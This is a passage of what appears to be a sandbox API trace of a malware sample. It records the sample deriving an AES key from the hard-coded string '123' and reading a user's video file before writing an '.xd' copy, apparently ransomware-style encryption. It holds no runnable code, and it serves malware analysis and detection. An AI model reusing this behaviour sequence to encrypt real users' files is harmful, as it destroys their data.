lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0067.478] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0067.478] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0067.478] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0067.478] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.479] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.479] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.479] CloseHandle (hObject=0x0) returned 0 [0067.479] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.479] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0067.479] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0067.480] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.480] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.480] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.480] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.480] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.480] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.480] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0067.480] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.480] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.480] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0067.480] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.480] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.480] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.480] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.481] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.481] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0067.481] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0067.481] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0067.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0067.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0067.481] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0067.481] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa230) returned 1 [0067.482] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.482] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.482] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0067.482] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.482] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.482] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.482] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.482] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.482] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.482] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.482] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.482] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.483] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.483] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.483] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.483] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0067.483] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.483] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.483] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.483] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.483] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.483] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.483] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.483] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.483] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.483] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.483] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.483] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.483] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.484] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.484] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.484] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.484] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.484] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0067.484] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0067.484] CryptCreateHash (in: hProv=0x17aa230, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0067.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.485] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0067.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629670, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.485] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.485] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.485] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218d0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0067.485] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0067.485] CryptHashData (hHash=0x164c430, pbData=0x1629570, dwDataLen=0x3, dwFlags=0x1) returned 1 [0067.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.486] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.486] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.486] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.486] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.486] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.486] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.486] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0067.486] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0067.486] CryptDeriveKey (in: hProv=0x17aa230, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8b0) returned 1 [0067.486] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.486] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.486] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.486] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.487] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.487] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.487] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0067.487] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0067.487] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0067.487] CryptDestroyHash (hHash=0x164c430) returned 1 [0067.487] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.487] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\dfxi7b5getnjdy.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0067.488] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.488] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0067.488] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.488] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.488] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly")) returned 0x10 [0067.489] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\dfxi7b5getnjdy.flv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0067.489] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.489] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.489] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.489] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.493] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0067.493] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xaffe, lpOverlapped=0x0) returned 1 [0067.495] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0067.497] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.497] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.497] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.497] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0067.498] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.498] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.498] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0067.498] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.498] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0067.498] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.498] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.498] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.498] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0067.498] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 